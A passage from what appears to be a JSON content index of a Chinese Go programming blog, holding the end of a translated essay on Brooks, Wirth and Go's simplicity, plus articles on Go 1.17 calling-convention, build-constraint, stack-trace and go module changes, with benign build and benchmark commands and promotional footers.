Bullet)”，它指出：\n无论是技术还是管理技术，都没有任何一种可以在十年内保证在生产力、可靠性和简单性方面有哪怕一个数量级的改进。\n鉴于与穿孔卡的前辈相比，现代程序员可以很快纠正他们的错误，布鲁克斯认为，剩下的大部分复杂性是问题本身，而意外的复杂性大部分已经解决了。\n这并不是说自60年代以来生产力没有提高，实际上恰恰相反。来看看下面的例子：\n自由/开放源码软件 高速硬件 通用计算机 高性能编译器 全球互联网(Internet) 它们一起将我们的整体生产力推到了一个很高的水平。它们也重新引入了许多意外的复杂性，而这些复杂性是我们的前辈们在最初就很努力地消除的。(稍后会有更多关于这方面的内容)\n“现在的程序员已经不像以前那样高产了”。\n这种将偶然的复杂性降低到最低限度的概念是我们很多问题的关键，没有比尼克劳斯·沃思(Niklaus Wirth)更能体现这一原则的了。\n尼克劳斯·沃思 在创造了PASCAL、MODULA和MODULA-2之后，沃思开始着手开发OBERON系列语言，以便在他的Ceres工作站上建立他自己的Oberon操作系统。\n如果说沃思在他的职业生涯中完成了很多伟大的事情，那就太轻描淡写了，而上面给出的例子只是他成就的一小部分。\n他设法通过遵循一套原则来执行所有这些想法，这些原则可以总结如下：\n你必须完全理解你的想法，才能完全实现它。\nOberon语言的出现是出于降低编程语言，特别是针对Modula的复杂性的考虑。这一努力产生了一种非常简洁的语言。Oberon的范围，它的功能和结构的数量，甚至比Pascal小。然而，它的功能却大大增强了。\n这个人的结论是：Pascal太复杂了。\n利用他发现的新力量，他在自己的硬件上从头开始建立了他的操作系统，这个操作系统仅有12K行源码，占用200K字节的空间资源。我们可以对比一下，Mac OSX拥有86M行源码，占用3GB的空间，并且是由世界上最富有的公司之一建立的。现在，也许OSX比Oberon的功能更完整，但肯定不是40000倍的关系。一路走来，有些东西已经失去了。\n布鲁克斯的“没有银弹”的概念和沃思的哲学在这里有交集：\n你不能通过增加你的语言的复杂性来减少你的问题的复杂性。\n你的语言的表面积越大(译：我理解指语言的设计目标越多)，就会有越多的风沙（译注：风沙指语言的特性）来掩盖其本质。在某些时候，指针已经向前移动到循环开始的地方，因为旧的子集变成了新的，循环再次开始。\n这种“少即是多”的概念让我想起了另一位巨人的一句同样性质的话：\n有两种构建软件设计的方法：一种是使其简单到明显没有缺陷，另一种是使其复杂到没有明显缺陷 – Tony Hoare\n在理论上拒绝沃思的前提，必然会导致走向Hoare观点中的第二个方法。\n‘在Objective-C和Swift之间的某个地方，你最终得到了一个来自过去的框架，一个来自未来的框架，以及现在的一个纠结的混乱。\n走这条路的代价是什么？\n束缚我们的石头 培训 学习一个新的操作系统，与你的技术绑定。 学习一个新的IDE，与你的技术绑定。 学习一个新的框架来取代已经工作的框架。 学习使用你的旧语言的新版本。 你所有的旧技能都得益于你多年的经验，就像特修斯之船一样(译注：特修斯之船是一个思想实验，它提出了一个问题：一个已经更换了所有组件的物体从根本上是否与原物体是相同的)，到了一个时刻，这些技能所占的比重越来越小。经验应该增加价值，而不是减少它。\n仓鼠轮(译注：循环往复的重复工作) 以前工作的项目在更新后被破坏。 你所依赖的其他人以前工作的项目在更新后也会被破坏。 筛选几页的文档和StackOverflow的帖子，这些都不再有意义了。 不得不跟上新闻，以便预测你的下一个待命的头痛问题。 被迫修复由你的项目、公司、客户或大陆以外的外部力量产生的问题，对任何人都没有帮助，尤其是对你。\n乔-阿姆斯特朗的《我们所处的困境》 为什么我们有这么多螺丝刀？ 三千万行的问题 left pad的故事 难道就没有人为年轻人着想吗？ 这个行业是非常难学的。 除了厨房里的水槽，什么都有，这不是一个介绍新人的好方法。 花在学习工具上的时间本可以用来了解这个项目或学习一般的技能以延续到下一个项目。 你所碰到的大多数后辈都被压倒了，感到困惑，并有压力要跟上不断变化的皇帝的衣服层。\n如何向初学者教授.NET？ 在2016年学习JavaScript的感觉如何。 裁缝被封为所有顾问的守护神，因为尽管他榨取了大量的费用，但他始终无法说服他的客户，让他们恍然大悟，他们的衣服没有皇帝。- Tony Hoare\n除了老人和可能的内核开发者之外，整个行业往往没有意识到，忽视或拒绝这一前提。相反，轮子的每一次旋转都会到达它开始的地方，并承诺会有新的开始。\n幸运的是，也有例外的情况。这里就是其中之一。\nGo 这种奇妙的、著名的”停留在70年代”的语言，满足了所有必要的条件，避免了大部分（如果不是全部）的问题，并从古老的语言中获得了灵感，但又颇具现代感。\n一蹴而就\n单一安装，没有许可证/注册/祭祀仪式。 可以在任何东西上运行，即使那东西是一台布满灰尘的旧笔记本电脑。 语言（相对而言）容易掌握。 直接的过程化编程(procedural programming)，不给自己贴上FP(函数式)和OOP(面向对象)标签。 没有IDE的耦合。\n不需要购买许可证，工程师不会被过期的许可证困扰。 不需要重新培训工程师将文本输入文本文件。如果他们有几十年使用一个编辑器的经验，他们就可以使用它。 没有解决方案文件或复杂的需要IDE才能工作的构建系统。 即时编译为静态二进制文件。\n不需要在项目编译时坐着什么都不做(译注：编译速度快，几乎无需等待)。 不需要为了把一种文本编译成另一种文本而把自己的所有内核旋转到100%。 通过运行一个单一的可执行文件进行部署。 如果十年前能用，现在也能用。\n停留在70年代意味着自喇叭裤以来就没有突破性的变化。 阳光下的一切都包含在自带电池的标准库中。 每一行代码都是可检查的，没有闭源库。 它是由Ken Thompson、Rob Pike和Robert Griesemer（沃思的一个学生）设计的。该语言的入门书籍是由Brian Kernighan撰写的。很明显，这种语言是C语言的精神继承者。\n图：Go程序设计语言(图片来自gopl.io，译者加)\n距离我第一次使用Go已经两年了，我想不出有什么比它更适合通用的软件开发了，尤其是在尊重自己和他人的时间方面。它是为数不多的可以让我自由编程的语言之一，而不需要向互联网咨询，也不需要向在这方面有更多经验的人催促那些应该是不言自明的事情。它没有那么多的魔力，没有那么多的隐藏，这就产生了更多更大的清晰性。没有惊喜，”它只是能工作“。\n这并不是说每个人都有这种感觉，恰恰相反。批评是很多的。关于Go缺失功能的讨论（比如，缺乏泛型）已经持续了很多年（到现在已经超过十年了），我只能假设在不可预见的未来还会继续下去。\n在这期间，我敦促你去试试这门语言。也许你会喜欢上它。\n“Gopher部落”知识星球正式转正（从试运营星球变成了正式星球）！“gopher部落”旨在打造一个精品Go学习和进阶社群！高品质首发Go技术文章，“三天”首发阅读权，每年两期Go语言发展现状分析，每天提前1小时阅读到新鲜的Gopher日报，网课、技术专栏、图书内容前瞻，六小时内必答保证等满足你关于Go语言生态的所有需求！部落目前虽小，但持续力很强。在2021年上半年，部落将策划两个专题系列分享，并且是部落独享哦：\nGo技术书籍的书摘和读书体会系列 Go与eBPF系列 欢迎大家加入！\nGo技术专栏“改善Go语⾔编程质量的50个有效实践”正在慕课网火热热销中！本专栏主要满足广大gopher关于Go语言进阶的需求，围绕如何写出地道且高质量Go代码给出50条有效实践建议，上线后收到一致好评！欢迎大家订\n阅！\n我的网课“Kubernetes实战：高可用集群搭建、配置、运维与应用”在慕课网热卖中，欢迎小伙伴们订阅学习！\n我爱发短信：企业级短信平台定制开发专家 https://tonybai.com/。smspush : 可部署在企业内部的定制化短信平台，三网覆盖，不惧大并发接入，可定制扩展； 短信内容你来定，不再受约束, 接口丰富，支持长短信，签名可选。2020年4月8日，中国三大电信运营商联合发布《5G消息白皮书》，51短信平台也会全新升级到“51商用消息平台”，全面支持5G RCS消息。\n著名云主机服务厂商DigitalOcean发布最新的主机计划，入门级Droplet配置升级为：1 core CPU、1G内存、25G高速SSD，价格5$/月。有使用DigitalOcean需求的朋友，可以打开这个链接地址：https://m.do.co/c/bff6eed92687 开启你的DO主机之路。\nGopher Daily(Gopher每日新闻)归档仓库 – https://github.com/bigwhite/gopherdaily\n我的联系方式：\n微博：https://weibo.com/bigwhite20xx 微信公众号：iamtonybai 博客：tonybai.com github: https://github.com/bigwhite “Gopher部落”知识星球：https://public.zsxq.com/groups/51284458844544 微信赞赏：\n商务合作方式：撰稿、出书、培训、在线课程、合伙创业、咨询、广告合作。\n","permalink":"https://tonybai.com/2021/08/25/brooks-wirth-and-go/","summary":"\u003cp\u003e\u003cimg loading=\"lazy\" src=\"/images/wp-content/uploads/brooks-wirth-and-go-1.png\"\u003e\u003c/p\u003e\n\u003cp\u003e\u003ca href=\"https://tonybai.com/2021/08/25/brooks-wirth-and-go\"\u003e本文永久链接\u003c/a\u003e – \u003ca href=\"https://tonybai.com/2021/08/25/brooks-wirth-and-go\"\u003ehttps://tonybai.com/2021/08/25/brooks-wirth-and-go\u003c/a\u003e\u003c/p\u003e\n\u003cp\u003e本文翻译自瑞典程序员Fredrik Holmqvist的博客文章\u003ca href=\"https://www.fredrikholmqvist.com/posts/brooks-wirth-go/\"\u003e《Brooks, Wirth and Go》\u003c/a\u003e。\u003c/p\u003e\n\u003cp\u003e现在是1975年。\u003c/p\u003e\n\u003cp\u003e程序员们带着\u003ca href=\"https://fortran-lang.org/\"\u003eFORTRAN代码\u003c/a\u003e回来了，不过使用的是穿孔卡片的形式。\u003c/p\u003e\n\u003cp\u003e\u003cimg loading=\"lazy\" src=\"/images/wp-content/uploads/brooks-wirth-and-go-2.jpeg\"\u003e\u003c/p\u003e\n\u003cp\u003e图：记录代码的穿孔卡片(图片来自punchcardreader.com，译者加)\u003c/p\u003e","title":"Brooks、Wirth和Go[译]"},{"content":"\n本文永久链接 – https://tonybai.com/2021/08/20/using-register-based-calling-convention-in-go-1-17\n除了Go语言特性与go module有重要变化之外，Go编译器与Go运行时也都有着优化与改进，这两方面的变化对Go程序的构建与运行影响巨大。在这个系列的最后一篇中，我们来看看编译器与运行时中那些值得关注的变化。\n1. 使用基于寄存器的调用惯例替代基于堆栈的调用惯例 所谓“调用惯例(calling convention)”是调用方和被调用方对于函数调用的一个明确的约定，包括：函数参数与返回值的传递方式、传递顺序。只有双方都遵守同样的约定，函数才能被正确地调用和执行。如果不遵守这个约定，函数将无法正确执行。\nGo 1.17版本之前，Go采用基于栈的调用约定，即函数的参数与返回值都通过栈来传递，这种方式的优点是实现简单，不用担心底层cpu架构寄存器的差异，适合跨平台；但缺点就是牺牲了一些性能，我们都知道寄存器的访问速度要远高于内存。\n大多数平台上的大多数语言实现都使用基于寄存器的调用约定，通过寄存器而不是内存传递函数参数和返回结果，并指定一些寄存器为调用保存寄存器，允许函数在不同的调用中保持状态。\n于是Go在1.17版本决定向这些语言看齐，在amd64架构下率先实现了从基于堆栈的调用惯例到基于寄存器的调用惯例的切换。\n在Go 1.17的版本发布说明文档中有提到：切换到基于寄存器的调用惯例后，一组有代表性的Go包和程序的基准测试显示，Go程序的运行性能提高了约5%，二进制文件大小典型减少约2%。\n我们来实测一下，下面采用的是之前进阶专栏中的一个多种方法进行字符串连接的benchmark测试，在Go 1.16.5和Go 1.17下面分别运行Benchmark结果如下：\nGo 1.16.5：\n$go test -bench . goos: darwin goarch: amd64 pkg: github.com/bigwhite/demo cpu: Intel(R) Core(TM) i5-8257U CPU @ 1.40GHz BenchmarkConcatStringByOperator-8 12132355 91.51 ns/op BenchmarkConcatStringBySprintf-8 2707862 445.1 ns/op BenchmarkConcatStringByJoin-8 24101215 50.84 ns/op BenchmarkConcatStringByStringsBuilder-8 11104750 124.4 ns/op BenchmarkConcatStringByStringsBuilderWithInitSize-8 24542085 48.24 ns/op BenchmarkConcatStringByBytesBuffer-8 14425054 77.73 ns/op BenchmarkConcatStringByBytesBufferWithInitSize-8 20863174 49.07 ns/op PASS ok github.com/bigwhite/demo 9.166s Go 1.17：\n$go test -bench . goos: darwin goarch: amd64 pkg: github.com/bigwhite/demo cpu: Intel(R) Core(TM) i5-8257U CPU @ 1.40GHz BenchmarkConcatStringByOperator-8 13058850 89.47 ns/op BenchmarkConcatStringBySprintf-8 2889898 410.1 ns/op BenchmarkConcatStringByJoin-8 25469310 47.15 ns/op BenchmarkConcatStringByStringsBuilder-8 13064298 92.33 ns/op BenchmarkConcatStringByStringsBuilderWithInitSize-8 29780911 41.14 ns/op BenchmarkConcatStringByBytesBuffer-8 16900072 70.28 ns/op BenchmarkConcatStringByBytesBufferWithInitSize-8 27310650 43.96 ns/op PASS ok github.com/bigwhite/demo 9.198s 我们看到，相对于Go 1.16.5跑出的结果，Go 1.17在每一个测试项上都有小幅的性能提升，有些性能提升甚至达到10%左右。这种新版本带来的性能的“自然提升”显然是广大Gopher想看到的。\n我们再来看看编译后的Go二进制文件的Size变化。以一个自有的1w行左右代码的Go程序为例，分别用Go 1.16.5和Go 1.17进行编译，得到的结果如下：\n-rwxr-xr-x 1 tonybai staff 7264432 8 13 18:31 myapp-go1.16.5* -rwxr-xr-x 1 tonybai staff 6934352 8 13 18:32 myapp-go1.17* 我们看到Go 1.17编译后的二进制文件大小相较于Go 1.16.5版本的减少了约4%。\n另外Go 1.17发布说明也提到了：改为基于register的调用惯例后，绝大多数程序不会受到影响。只有那些之前就已经违反unsafe.Pointer的使用规则的代码可能会受到影响，比如不遵守unsafe规则通过unsafe.Pointer访问函数参数，或依赖一些像比较函数代码指针的未公开的行为。\n除了改为基于寄存器的调用惯例之外，Go 1.17编译器还支持包含闭包的函数的内联(inline)了！这样一来，一个带有闭包的函数可能会在函数被内联的每个地方产生一个不同的闭包代码指针，因此，Go函数的值不能直接比较！\n2. 引入//go:build形式的构建约束指示符，以替代原先易错的// +build形式 Go 1.17之前，我们可以通过在源码文件头部放置+build构建约束指示符来实现构建约束，但这种形式十分易错，并且它并不支持\u0026amp;\u0026amp;和||这样的直观的逻辑操作符，而是用逗号、空格替代，下面是原+build形式构建约束指示符的用法及含义：\n这种与程序员直觉“有悖”的形式让Gopher们十分痛苦，于是Go 1.17回归“正规”，引入了//go:build形式的构建约束指示符，这样一方面是与源文件中的其他指示符保持形式一致，比如: //go:nosplit、//go:norace、//go:noinline、//go:generate等。另外一方面，新形式将支持\u0026amp;\u0026amp;和||逻辑操作符，对于程序员来说，这样的形式就是自解释的，我们无需再像上面那样列出一个表来解释每个指示符组合的含义了，如下代码所示：\n//go:build linux \u0026amp;\u0026amp; (386 || amd64 || arm || arm64 || mips64 || mips64le || ppc64 || ppc64le) //go:build linux \u0026amp;\u0026amp; (mips64 || mips64le) //go:build linux \u0026amp;\u0026amp; (ppc64 || ppc64le) //go:build linux \u0026amp;\u0026amp; !386 \u0026amp;\u0026amp; !arm 考虑到兼容性，Go命令可以识别这两种形式的构建约束指示符，但推荐Go 1.17之后都用新引入的这种形式。\ngofmt可以兼容处理两种形式，处理原则是：如果一个源码文件只有// +build形式的指示符，gofmt会将与其等价的//go:build行加入。否则，如果一个源文件中同时存在这两种形式的指示符行，那么//+build行的信息将被//go:build行的信息所覆盖。\ngo vet工具也会检测源文件中同时存在的不同形式的构建指示符语义不一致的情况，比如针对下面这段代码：\n// github.com/bigwhite/experiments/tree/master/go1.17-examples/runtime/buildtag.go //go:build linux \u0026amp;\u0026amp; !386 \u0026amp;\u0026amp; !arm // +build linux package main import \u0026#34;fmt\u0026#34; func main() { fmt.Println(\u0026#34;hello, world\u0026#34;) } go vet会提示如下问题：\n./buildtag.go:2:1: +build lines do not match //go:build condition 3. 运行时栈跟踪输出信息的格式更“可读” 之前写过一篇文章《记一次go panic问题的解决过程》，在那篇文章中，我们探讨了如何解读panic发生后输出的函数栈跟踪信息。\n下面的代码示例用于对比运行时栈输出信息的差异：\n// github.com/bigwhite/experiments/tree/master/go1.17-examples/runtime/stacktrace.go package main type myStruct struct { m int s string p *float64 } func foo(a int, b string, c []byte, f *myStruct) (int, error) { panic(\u0026#34;mypanic\u0026#34;) } func main() { f := 3.14 ms := myStruct{ m: 17, s: \u0026#34;myStruct\u0026#34;, p: \u0026amp;f, } a := 11 b := \u0026#34;hello\u0026#34; c := []byte{\u0026#39;a\u0026#39;, \u0026#39;b\u0026#39;, \u0026#39;c\u0026#39;} foo(a, b, c, \u0026amp;ms) } 在这个示例程序中，我们在foo函数中“故意”panic，以便go运行时在程序退出前输出栈跟踪信息（注意编译时关闭内联优化）。针对这个示例程序，Go 1.17之前的版本输出的栈跟踪信息是这样的(go 1.16.5版本):\n$go build -gcflags \u0026#39;-N -l\u0026#39; -o stacktrace-go1.16.5 stacktrace.go $./stacktrace-go1.16.5 panic: mypanic goroutine 1 [running]: main.foo(0xb, 0x1073f53, 0x5, 0xc000046715, 0x3, 0x3, 0xc000046758, 0x0, 0x0, 0x0) /Users/tonybai/Go/src/github.com/bigwhite/experiments/go1.17-examples/runtime/stacktrace.go:10 +0x4a main.main() /Users/tonybai/Go/src/github.com/bigwhite/experiments/go1.17-examples/runtime/stacktrace.go:23 +0x148 上面输出信息中foo函数后面括号中的各个值与foo函数原型完全对不上。要想知道这些数值的含义究竟是什么，可以参考我上面提到的那篇文章，这里不赘述。\n使用Go 1.17版本编译后会是什么样子呢？我们再来看一下：\ngo 1.17:\n$go build -gcflags \u0026#39;-N -l\u0026#39; -o stacktrace-go1.17 stacktrace.go $./stacktrace panic: mypanic goroutine 1 [running]: main.foo(0xb, {0x10608d4, 0x5}, {0xc00004270d, 0x3, 0x3}, 0xc000042750) /Users/tonybai/Go/src/github.com/bigwhite/experiments/go1.17-examples/runtime/stacktrace.go:10 +0x59 main.main() /Users/tonybai/Go/src/github.com/bigwhite/experiments/go1.17-examples/runtime/stacktrace.go:23 +0x10f 对照着该示例程序中foo函数的原型：\nfunc foo(a int, b string, c []byte, f *myStruct) (int, error) 这回一目了然了！我们看到Go 1.17改进了当发送未捕获的panic或当runtime.Stack被调动时，运行时输出的栈跟踪信息的格式。Go 1.17版本之前，函数参数被打印成基于内存布局的十六进制值的形式，就像前面那个难于解读的输出信息。Go 1.17版，源码中函数的每个参数都被单独打印，用逗号分隔。聚合类型（结构体、数组、字符串、切片、接口和complex）的参数用大括号分隔。需要注意的是，只存在于寄存器中而没有存储到内存中的参数的值可能是不准确的。函数的返回值（通常是不准确的）不再被打印了。\n通过上的输出，我们还可以清晰的看到string、byte切片以及结构体在内存中的表示方式，string本质上是一个拥有两个字段的结构，而切片则是一个三元组表示的结构。\n3. 小结 上面是Go 1.17编译器与运行时的主要改动，通过使用寄存器的调用惯例，我们的Go程序可以轻松获得5%左右的性能提升，可执行程序的Size也会得到减小。Go 1.17对运行时栈输出信息的“可读化”改进进一步提升了开发体验。\n除此之外，Go的标准库随着新版本的发布都会有大量的改动，但每个开发人员对标准库的关注点差别很大，因此，在这个系列中不会详细做说明了，大家还是参考Go 1.17的发布说明文档各取所需吧^_^。\n本文所涉及的源码可以在这里 – https://github.com/bigwhite/experiments/tree/master/go1.17-examples/\n“Gopher部落”知识星球正式转正（从试运营星球变成了正式星球）！“gopher部落”旨在打造一个精品Go学习和进阶社群！高品质首发Go技术文章，“三天”首发阅读权，每年两期Go语言发展现状分析，每天提前1小时阅读到新鲜的Gopher日报，网课、技术专栏、图书内容前瞻，六小时内必答保证等满足你关于Go语言生态的所有需求！部落目前虽小，但持续力很强。在2021年上半年，部落将策划两个专题系列分享，并且是部落独享哦：\nGo技术书籍的书摘和读书体会系列 Go与eBPF系列 欢迎大家加入！\nGo技术专栏“改善Go语⾔编程质量的50个有效实践”正在慕课网火热热销中！本专栏主要满足广大gopher关于Go语言进阶的需求，围绕如何写出地道且高质量Go代码给出50条有效实践建议，上线后收到一致好评！欢迎大家订\n阅！\n我的网课“Kubernetes实战：高可用集群搭建、配置、运维与应用”在慕课网热卖中，欢迎小伙伴们订阅学习！\n我爱发短信：企业级短信平台定制开发专家 https://tonybai.com/。smspush : 可部署在企业内部的定制化短信平台，三网覆盖，不惧大并发接入，可定制扩展； 短信内容你来定，不再受约束, 接口丰富，支持长短信，签名可选。2020年4月8日，中国三大电信运营商联合发布《5G消息白皮书》，51短信平台也会全新升级到“51商用消息平台”，全面支持5G RCS消息。\n著名云主机服务厂商DigitalOcean发布最新的主机计划，入门级Droplet配置升级为：1 core CPU、1G内存、25G高速SSD，价格5$/月。有使用DigitalOcean需求的朋友，可以打开这个链接地址：https://m.do.co/c/bff6eed92687 开启你的DO主机之路。\nGopher Daily(Gopher每日新闻)归档仓库 – https://github.com/bigwhite/gopherdaily\n我的联系方式：\n微博：https://weibo.com/bigwhite20xx 微信公众号：iamtonybai 博客：tonybai.com github: https://github.com/bigwhite “Gopher部落”知识星球：https://public.zsxq.com/groups/51284458844544 微信赞赏：\n商务合作方式：撰稿、出书、培训、在线课程、合伙创业、咨询、广告合作。\n","permalink":"https://tonybai.com/2021/08/20/using-register-based-calling-convention-in-go-1-17/","summary":"\u003cp\u003e\u003cimg loading=\"lazy\" src=\"/images/wp-content/uploads/using-register-based-calling-convention-in-go-1-17-1.png\"\u003e\u003c/p\u003e\n\u003cp\u003e\u003ca href=\"https://tonybai.com/2021/08/20/using-register-based-calling-convention-in-go-1-17\"\u003e本文永久链接\u003c/a\u003e – \u003ca href=\"https://tonybai.com/2021/08/20/using-register-based-calling-convention-in-go-1-17\"\u003ehttps://tonybai.com/2021/08/20/using-register-based-calling-convention-in-go-1-17\u003c/a\u003e\u003c/p\u003e\n\u003cp\u003e除了\u003ca href=\"https://mp.weixin.qq.com/s/Afj9pV79AParMkMvcNlCTw\"\u003eGo语言特性\u003c/a\u003e与\u003ca href=\"https://mp.weixin.qq.com/s/Fer90nattWxXDWDC1VV55w\"\u003ego module\u003c/a\u003e有重要变化之外，Go编译器与Go运行时也都有着优化与改进，这两方面的变化对Go程序的构建与运行影响巨大。在这个系列的最后一篇中，我们来看看编译器与运行时中那些值得关注的变化。\u003c/p\u003e","title":"Go 1.17新特性详解：使用基于寄存器的调用惯例"},{"content":"\n本文永久链接 – https://tonybai.com/2021/08/19/go-module-changes-in-go-1-17\nGo module的引入终于让Go语言有了自己的包依赖管理标准机制与工具，虽说它的引入与推广过程略显坎坷，但不得不承认Go 1.11及之后的每一次Go版本发布，Go module都在进步！在Go 1.17版本中亦是如此，本篇我们就来详细聊聊在Go 1.17版本中Go module都有哪些重要的变化。\n1. module依赖图修剪 本文的标题暗示了Go 1.17中go module的两个主要变化。module依赖图修剪(module graph pruning)是延迟module加载(lazy module loading)的基础。\n我们以下图中的例子来解释一下什么是module graph pruning。\n注：上图中的例子来自于Go 1.17源码中的src/cmd/go/testdata/script/mod_lazy_new_import.txt，通过执行txtar工具，我们可以将该txt转换为mod_lazy_new_import.txt中所描述的示例结构，转换命令为: txtar -x \u0026lt; \\$GOROOT/src/cmd/go/testdata/script/mod_lazy_new_import.txt 。\n在上面这个示例中，main module中的lazy.go导入了module a的package x，后者则导入了module b；并且module a还有一个package y，该包导入了module c。通过go mod graph命令我们可以得到main module的module graph，如图右上。\n现在问题来了！package y是因为自身是module a的一部分而被main module所依赖，它没有为main module的构建做出任何“代码级贡献”；同理，package y所依赖的module c亦是如此。但是在Go 1.17之前的版本中，如果Go编译器找不到module c，那么main module的构建将会失败，这会让开发者们觉得不够合理！\n我们回到上图对应的示例。在Go 1.16.5下，我们看看该示例的go.mod如下：\n// github.com/bigwhite/experiments/tree/master/go1.17-examples/module/demo1/go.mod module example.com/lazy go 1.15 require example.com/a v0.1.0 replace ( example.com/a v0.1.0 =\u0026gt; ./a example.com/b v0.1.0 =\u0026gt; ./b example.com/c v0.1.0 =\u0026gt; ./c1 example.com/c v0.2.0 =\u0026gt; ./c2 ) 我们只需关注require块中的内容，下面的replace块儿主要是为了示例能找到各种依赖module而设置的。我们知道在Go 1.16及以前支持Go module的版本所建立的go module中，其中的go.mod在go mod tidy后，require块儿中保留的都是main module的直接依赖(direct dependency)（在某些情况下，也会记录indirect依赖，这些依赖会在行尾用indirect指示符明示），因此在这里我们看不到main module的间接依赖以及它们的版本，我们可以用go mod graph来查看module依赖图，如下面命令及输出：\n$go mod graph example.com/lazy example.com/a@v0.1.0 example.com/a@v0.1.0 example.com/b@v0.1.0 example.com/a@v0.1.0 example.com/c@v0.1.0 这个go mod graph的输出与我们在上面图中右上角所画的module graph是一致的。此时，如果我们将replace中的第三行删除(example.com/c v0.1.0 =\u0026gt; ./c1这一行)，即让Go编译器找不到module c@v0.1.0，那么我们构建main modue时将得到下面的错误提示：\n$go build go: example.com/a@v0.1.0 requires example.com/c@v0.1.0: missing go.sum entry; to add it: go mod download example.com/c 现在我们将执行权限交给Go 1.17！我们需要对go.mod做一些修改（将go.mod中的go 1.15改为go 1.17），这样Go 1.17才能起到作用。接下来，我们执行go mod tidy，让Go 1.17重新构建go.mod：\n$go mod tidy $cat go.mod module example.com/lazy go 1.17 require example.com/a v0.1.0 require example.com/b v0.1.0 // indirect replace ( example.com/a v0.1.0 =\u0026gt; ./a example.com/b v0.1.0 =\u0026gt; ./b example.com/c v0.1.0 =\u0026gt; ./c1 example.com/c v0.2.0 =\u0026gt; ./c2 ) 我们看到执行go mod tidy之后，go.mod发生了变化：增加了一个require语句块，记录了main module的间接依赖：module b@v0.10。\n现在，我们也同样将go.mod replace块中的第三行删除(example.com/c v0.1.0 =\u0026gt; ./c1这一行)，我们再来用go 1.17构建一次main module，这一次我们没有看到Go编译器的错误提示。也就是说在构建过程中，Go编译器所看到的main module依赖图中并没有module c@v0.1.0。由于module c并没有为main module的构建提供“代码级贡献”，Go命令将其从module依赖图中剪除，Go编译器使用的真实的依赖图如上图右下角所示(pruned module graph)。\n这种将那些“占着茅坑不拉屎”、对构建完全没有“贡献”的间接依赖module从构建时使用的依赖图中修剪掉的过程，就被称为module依赖图修剪。\n之所以要这么做，就是因为Go社区反馈了较多的这方面的问题。这么做的好处是显而易见的：我们再也不用为那些没有对构建没有做出任何“代码级贡献”但又容易出现各种“问题”的module的埋单了。\n但module依赖图修剪也带来了一个副作用，那就是go.mod文件size的变大。因为Go 1.17版本后，每次go mod tidy，go命令都会对main module的依赖做一次深度扫描(deepening scan)，并将main module的所有直接和间接依赖都记录在go.mod中。考虑到内容较多，go 1.17将直接依赖和间接依赖分别放在两个不同的require块儿中。\n我们以gnet为例，Go 1.17版本之前的go.mod如下：\nmodule github.com/panjf2000/gnet go 1.16 require ( github.com/BurntSushi/toml v0.3.1 // indirect github.com/panjf2000/ants/v2 v2.4.6 github.com/stretchr/testify v1.7.0 github.com/valyala/bytebufferpool v1.0.0 go.uber.org/atomic v1.8.0 // indirect go.uber.org/multierr v1.7.0 // indirect go.uber.org/zap v1.18.1 golang.org/x/sys v0.0.0-20210630005230-0f9fa26af87c gopkg.in/natefinch/lumberjack.v2 v2.0.0 ) // Go module checksum mismatch, see https://github.com/panjf2000/gnet/issues/219 // retract v1.4.5 使用Go 1.17重新mod tidy后，go.mod内容如下：\nmodule github.com/panjf2000/gnet go 1.17 require ( github.com/BurntSushi/toml v0.3.1 // indirect github.com/panjf2000/ants/v2 v2.4.6 github.com/stretchr/testify v1.7.0 github.com/valyala/bytebufferpool v1.0.0 go.uber.org/atomic v1.8.0 // indirect go.uber.org/multierr v1.7.0 // indirect go.uber.org/zap v1.18.1 golang.org/x/sys v0.0.0-20210630005230-0f9fa26af87c gopkg.in/natefinch/lumberjack.v2 v2.0.0 ) require ( github.com/davecgh/go-spew v1.1.1 // indirect github.com/pmezard/go-difflib v1.0.0 // indirect gopkg.in/yaml.v3 v3.0.0-20210107192922-496545a6307b // indirect ) 我们看到go 1.17后，go.mod中的main module的依赖分成了两个require块儿，第一个是直接依赖，第二个是间接依赖。但我们看到第一个require中也有包含indirect指示符的依赖。Go关于indirect指示符的使用总是很让人迷惑。关于究竟在Go 1.17中的require中如何使用indirect指示符，可以在这个讨论中找到一些线索。\nGo 1.17后go.mod中存储了main module的所有依赖module列表，这似乎也是Go项目第一次有了项目依赖的完整列表，这是不是让你想起了其他主流语言构架系统中的那个lock文件。虽然go.mod不是lock文件，但有了完整依赖列表，至少我们可以像其他语言的lock文件那样，知晓当前Go项目所有依赖的精确版本了。\n2. 延迟module加载(lazy module loading) 有了module依赖图修剪作为铺垫，延迟module加载就相对好理解了。其含义就是那些在完整的module graph(complete module graph)中，但不在pruned module graph中的module的go.mod不会被go命令加载。\n3. module deprecation注释 在Go 1.16版本在go.mod中加入retract以支持作废某个module的特定版本后，go 1.17更进一步地在go.mod中增加了Deprecated注释，以帮助go module作者作废自己的module。go module作者只需在自己的go.mod中的module声明上面用**// Deprecated: comment**对module做出注释，就像下面这样：\n// Deprecated: use example.com/mod/v2 instead. module example.com/mod 对于那些使用了被废弃的module的go项目，go list、go get命令都会给出warning。\n注意和retract不同，我们不能用Deprecated去作废minor或patch版本，Deprecated是用来作废整个module的。但不同major版本的module被视为不同的module。因此，go module作者一般像上面例子中那样，在Deprecated注释中提示升级到更新的版本，比如：v2版本。\n4. 其他一些改变 如果一个main module的go.mod中没有go版本指示符，go 1.17版本的go命令会将其默认为go 1.11版本; 如果一个module的依赖module没有go.mod或该依赖module的go.mod中没有go指示符，go 1.17版本的go命令会将其go.mod中的版本指示符默认为go 1.16，而不是go命令的版本； 如果main module的go.mod中go版本指示符的值为go 1.17及以上版本，那么go mod vendor会在vendor/modules.txt中记录被vendor的module使用的go version，见下面对比： main module的go.mod中go version \u0026lt; 1.17：\n# github.com/BurntSushi/toml v0.3.1 ## explicit # github.com/davecgh/go-spew v1.1.1 github.com/davecgh/go-spew/spew # github.com/panjf2000/ants/v2 v2.4.6 ## explicit github.com/panjf2000/ants/v2 github.com/panjf2000/ants/v2/internal # github.com/pmezard/go-difflib v1.0.0 github.com/pmezard/go-difflib/difflib # github.com/stretchr/testify v1.7.0 ## explicit github.com/stretchr/testify/assert github.com/stretchr/testify/require # github.com/valyala/bytebufferpool v1.0.0 ## explicit github.com/valyala/bytebufferpool ... ... main module的go.mod中go version \u0026gt;= 1.17：\n// vendor/modules.txt # github.com/BurntSushi/toml v0.3.1 ## explicit # github.com/davecgh/go-spew v1.1.1 ## explicit github.com/davecgh/go-spew/spew # github.com/panjf2000/ants/v2 v2.4.6 ## explicit; go 1.14 github.com/panjf2000/ants/v2 github.com/panjf2000/ants/v2/internal # github.com/pmezard/go-difflib v1.0.0 ## explicit github.com/pmezard/go-difflib/difflib # 